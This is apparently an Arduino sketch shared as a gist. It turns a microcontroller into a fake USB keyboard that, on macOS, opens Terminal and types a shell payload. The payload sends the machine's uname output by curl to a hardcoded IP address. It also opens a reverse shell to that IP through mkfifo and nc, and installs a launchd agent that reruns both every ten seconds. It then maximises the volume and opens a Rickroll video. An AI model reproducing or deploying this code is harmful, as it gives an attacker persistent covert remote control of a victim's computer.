gistfile1.ino

void setup () {
  delay(1000);
  Keyboard.begin();
  
  // give the computer time to recognize a new keyboard
  // this should be a bunch of escape presses though
  delay(10000);

  openProgram("terminal");
  payload();
  rickroll();
  
  delay(500);
  openProgram("terminal");
  quitProgram();

  Keyboard.end();
}

void loop () {
  delay(10000);
}

void openProgram (String program) {
  Keyboard.press(KEY_RIGHT_GUI);
  Keyboard.press(' ');
  Keyboard.releaseAll();
  Keyboard.print(program);
  Keyboard.write(KEY_RETURN);
  delay(500);
}

void quitProgram () {
  Keyboard.press(KEY_RIGHT_GUI);
  Keyboard.press('q');
  Keyboard.releaseAll();
}


void exe (String c) {
  Keyboard.print(c);
  Keyboard.write(KEY_RETURN);
}

void rickroll () {
  exe("osascript -e 'set volume 11'");
  exe("open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\"");
}

void payload () {
  char *payloadMessage = "if [ -d \"/Users/`whoami`/.loki\" ]; then\n"
"  launchctl remove com.loki.fart\n"
"rm -rf ~/.loki\n"
"else\n"
"  mkdir ~/.loki\n"
"  touch ~/.loki/ping.sh\n"
"  chmod +x ~/.loki/ping.sh\n"
"  cat << fin > ~/.loki/ping.sh\n"
"ASGARD=\"192.81.130.116\"\n"
"PORT=1234\n"
"OTHERPORT=1235\n"
"curl --data-urlencode \"uname=\\`uname -a\\`\" \\$ASGARD:\\$PORT &\n"
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc \\$ASGARD \\$OTHERPORT >/tmp/f &\n"
"fin\n"
"  cat << fin > ~/.loki/com.loki.fart.plist\n"
"<plist version=\"1.0\">\n"
"    <dict>\n"
"    <key>Label</key>\n"
"        <string>com.loki.fart</string>\n"
"    <key>ProgramArguments</key>\n"
"    <array>\n"
"        <string>/bin/sh</string>\n"
"        <string>Users/`whoami`/.loki/ping.sh</string>\n"
"    </array>\n"
"    <key>RunAtLoad</key>\n"
"        <true/>\n"
"    <key>StartInterval</key>\n"
"        <integer>10</integer>\n"
"    <key>AbandonProcessGroup</key>\n"
"        <true/>\n"
"    </dict>\n"
"</plist>\n"
"fin\n"
"  launchctl load ~/.loki/com.loki.fart.plist\n"
"fi\n";

 exe(payloadMessage); 
}